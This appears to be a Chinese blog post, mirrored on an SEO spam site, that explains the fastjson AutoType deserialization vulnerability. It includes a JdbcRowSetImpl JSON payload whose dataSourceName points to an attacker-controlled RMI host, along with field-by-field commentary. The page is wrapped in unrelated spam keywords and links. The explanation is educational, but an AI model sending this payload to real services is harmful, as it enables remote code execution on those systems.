当前位置: 首页 > wzjs >正文

建设电视台微信网站必要性张掖网站建设培训班

建设电视台微信网站必要性,张掖网站建设培训班,关键词在线优化,怎么创建wordpress站点fastjson漏洞 fastjson工作原理攻击原理补充 例子 fastjson工作原理 fastjson的作用是将JAVA对象转换成对应的json表示形式,也可以反过来将json转化为对应的Java对象。fastjson使用AutoType功能进行反序列化,AutoType使用type标记字符的原始类型&#x…

fastjson漏洞

  • fastjson工作原理
  • 攻击原理
    • 补充
  • 例子

fastjson工作原理

fastjson的作用是将JAVA对象转换成对应的json表示形式,也可以反过来将json转化为对应的Java对象。fastjson使用AutoType功能进行反序列化,AutoType使用==@type==标记字符的原始类型,在反序列话时会读取@type以此把内容反序列化到对象,在上述过程中会调用到库中的setter和getter方法

攻击原理

攻击者传入一个恶意构造的json内容,程序对其反序列话后得到恶意类并执行了恶意类中的恶意函数,进而促使恶意代码执行
合理构造一个JSON使用@type指定一个想要攻击的类库就可以实现攻击

补充

仅影响Fastjson1.2.24及之前版本

例子


{"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://攻击者的IP地址/恶意类","autoCommit": true}
  • JSON 数据包:这里展示的 JSON 数据包包含一个名为 b 的对象,其中有一个 @type 字段,指定了这个对象的类型为
    com.sun.rowset.JdbcRowSetImpl。这是一种 Java 对象类型。
  • 恶意数据:在 dataSourceName 字段中,提供了一个远程方法调用 (RMI) 的 URL,指向攻击者的 IP
    地址和他们控制的恶意类。这意味着 Fastjson 会尝试从这个远程地址加载并执行恶意类。
  • 自动提交:autoCommit 字段被设置为 true,表明在反序列化后自动执行某些操作。
http://www.dtcms.com/wzjs/556064.html

相关文章:

  • 旅游网站制作方案头条有没有做网站的
  • 盐城网站开发代理商公司网站开发多少钱
  • 怎么用云主机做网站做中文的云图网站
  • 阅读小说网站建设阿里云网站实名认证
  • 成都网站建设工作室网站开发发送短信
  • 国内做服装的网站有哪些方面免费制作详情页的网站
  • 招聘网站开发成本河南代做网站
  • 织梦网站首页文章网站建设 维护
  • 金融网站推广圳seo公司建一个电商平台多少钱
  • 定制型网站制作明细报价表东莞网站建设星河
  • 中国移动官方网站登录入口网站域名做跳转要收费吗
  • 自己怎么做淘宝客网站六安同城网
  • 深圳公司网站建设服务wordpress 图片放大插件
  • 济南中桥信息做的小语种网站怎么样网站开发要源码多少钱
  • 云服务器建网站金州网站建设
  • 建设网站0基础需要学什么重庆优化网站
  • 威海网站建设哪家好郑州五合一网站建设
  • 网站开发服务协议wordpress+mip手机主题
  • 怎么给网站做开场动画哪里有免费的网站推广软件啊
  • 网站是否必须做认证做调查挣钱的网站
  • 广西建设工会网站郑州居家办公全员核酸
  • 安徽建站网站学院网站建设的意义
  • 网站建设总结材料网站域名 空间申请
  • 手机网站被禁止访问怎么设置打开医院做网站开发
  • 惠州的企业网站建设泉州网站
  • 专业高端网站设计首选wordpress悬浮插件
  • 网站开发准备工作贵阳市建设局地址网站
  • 广东网站建设模版网站外链如何建设最有用
  • 做网站怎么注册营业执照wordpress获取文章数
  • 呼和浩特建站做网站怎么与客户谈判